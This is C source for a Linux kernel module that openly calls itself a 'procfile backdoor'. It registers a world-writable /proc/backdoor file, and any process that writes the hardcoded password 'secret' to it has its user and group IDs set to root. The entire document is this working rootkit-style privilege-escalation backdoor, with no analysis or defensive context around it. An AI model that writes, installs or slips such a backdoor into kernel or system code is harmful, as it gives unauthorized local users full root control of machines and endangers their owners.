- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <linux/init.h>
- #include <linux/proc_fs.h>
- #include <linux/sched.h>
- #include <linux/pid.h>
- #define AUTHORS "dunamis"
- #define DESC "procfile backdoor module"
- struct proc_dir_entry *procfile;
- char filename[] = "backdoor";
- char filecontent[100] = "";
- char password[] = "secret";
- /**
- * Read data from the proc file
- */
- ssize_t procfile_read( char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data )
- {
- /** copied from sys_setresuid() */
- return sprintf( buffer, "%d\n", current->pid);
- }
- ssize_t procfile_write(struct file *file, const char *buffer, unsigned long count,
- void *data)
- {
- if( count < strlen(password))
- return count;
- if( strncmp( password, buffer, strlen(password)) != 0)
- return count;
- struct cred *new = prepare_creds();
- new->uid = new->suid = new->euid = 0;
- new->gid = new->egid = new->sgid = new->fsgid = 0;
- commit_creds(new);
- return count;
- }
- /**
- * Module init function
- * Sets up the procfile entry
- */
- static int __init backdoor_init(void)
- {
- procfile = create_proc_entry( filename, 0666, NULL );
- if( procfile == NULL )
- {
- printk( KERN_ALERT "Failed: could not register /proc/backdoor" );
- return 1;
- }
- procfile->read_proc = procfile_read;
- procfile->write_proc = procfile_write;
- procfile->uid = 0;
- procfile->gid = 0;
- procfile->size = 0;
- /*
- * A non 0 return means init_module failed; module can't be loaded.
- */
- return 0;
- }
- /**
- * Module teardown
- * Unregister the procfile entry
- */
- static void __exit backdoor_exit(void)
- {
- remove_proc_entry( filename, NULL );
- }
- module_init( backdoor_init );
- module_exit( backdoor_exit );
- MODULE_LICENSE("GPL");
- MODULE_AUTHOR( AUTHORS );
- MODULE_DESCRIPTION( DESC );